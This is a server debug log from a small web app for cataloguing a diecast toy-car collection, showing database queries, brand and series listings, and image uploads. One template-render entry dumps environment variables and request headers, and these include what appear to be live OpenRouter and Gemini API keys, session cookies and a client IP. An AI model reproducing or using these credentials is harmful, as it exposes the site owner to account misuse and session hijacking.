}
2026-02-04T10:48:40.823Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:48:40.823Z server-connect:app Executing action step select
2026-02-04T10:48:40.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:40.823Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:40.824Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:48:40.824Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:48:40.824Z server-connect:app Executing action step select
2026-02-04T10:48:40.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:40.825Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:48:43.034Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:48:43.034Z server-connect:app Executing action step identify
2026-02-04T10:48:43.034Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:43.034Z server-connect:output identity: 1
2026-02-04T10:48:43.034Z server-connect:app Executing action step restrict
2026-02-04T10:48:43.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:43.034Z server-connect:output restrict: undefined
2026-02-04T10:48:43.035Z server-connect:app Executing action step single
2026-02-04T10:48:43.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:48:43.035Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251113_160315_57738278-a443-4116-ab2e-6cfd5f519647.jpg'
}
2026-02-04T10:48:43.035Z server-connect:app Executing action step delete
2026-02-04T10:48:43.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:43.036Z server-connect:output delete: { affected: 1 }
2026-02-04T10:48:43.036Z server-connect:app Executing action step remove
2026-02-04T10:48:43.036Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:48:43.036Z server-connect:output fileRemove: true
2026-02-04T10:48:43.334Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:43.334Z server-connect:app Executing action step identify
2026-02-04T10:48:43.334Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:43.334Z server-connect:output identity: 1
2026-02-04T10:48:43.335Z server-connect:app Executing action step restrict
2026-02-04T10:48:43.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:43.335Z server-connect:output restrict: undefined
2026-02-04T10:48:43.335Z server-connect:app Executing action step paged
2026-02-04T10:48:43.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:43.337Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:43.606Z server-connect:router Serving templateView /
2026-02-04T10:48:43.607Z server-connect:app Executing action step identify
2026-02-04T10:48:43.607Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:43.607Z server-connect:output identity: 1
2026-02-04T10:48:43.607Z server-connect:app Executing action step restrict
2026-02-04T10:48:43.607Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:43.607Z server-connect:output restrict: undefined
2026-02-04T10:48:43.607Z server-connect:app Executing action step restrict
2026-02-04T10:48:43.607Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:43.607Z server-connect:output restrict: undefined
2026-02-04T10:48:43.607Z server-connect:router Render template layouts/main
2026-02-04T10:48:43.607Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:48:47.180Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:48:47.181Z server-connect:app Executing action step identify
2026-02-04T10:48:47.181Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:47.181Z server-connect:output identity: 1
2026-02-04T10:48:47.181Z server-connect:app Executing action step restrict
2026-02-04T10:48:47.181Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:47.181Z server-connect:output restrict: undefined
2026-02-04T10:48:47.181Z server-connect:app Executing action step condition
2026-02-04T10:48:47.181Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:48:47.181Z server-connect:app Executing action step update
2026-02-04T10:48:47.181Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:48:47.182Z server-connect:output update: { affected: 1 }
2026-02-04T10:48:47.182Z server-connect:app Executing action step upload
2026-02-04T10:48:47.182Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:48:47.182Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:48:47.182Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:48:47.182Z server-connect:upload Processing file: {
  name: 's-l1600 (13).webp',
  data: <Buffer >,
  size: 127516,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-54-20378841770202127179',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'cf302e2ae3ca3d90be82d7bc305ab921',
  mv: [Function: mv]
}
2026-02-04T10:48:47.182Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp',
  rel: 'public/assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp'
}
2026-02-04T10:48:47.182Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp',
  rel: 'assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp'
}
2026-02-04T10:48:47.182Z server-connect:output upload_image: [
  {
    name: 's-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp',
    path: '/public/assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp',
    url: '/assets/images/diecast/s-l1600_13_02d2c414-38cc-4741-ad46-5ae42c44d2f0.webp',
    type: 'image/webp',
    size: 127516
  }
]
2026-02-04T10:48:47.182Z server-connect:app Executing action step repeat
2026-02-04T10:48:47.182Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:48:47.182Z server-connect:app Executing action step insert
2026-02-04T10:48:47.182Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:47.183Z server-connect:output images: { affected: 1, identity: 205 }
2026-02-04T10:48:47.183Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:48:47.183Z server-connect:output condition: undefined
2026-02-04T10:48:47.468Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:47.469Z server-connect:app Executing action step identify
2026-02-04T10:48:47.469Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:47.469Z server-connect:output identity: 1
2026-02-04T10:48:47.469Z server-connect:app Executing action step restrict
2026-02-04T10:48:47.469Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:47.469Z server-connect:output restrict: undefined
2026-02-04T10:48:47.469Z server-connect:app Executing action step paged
2026-02-04T10:48:47.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:47.471Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
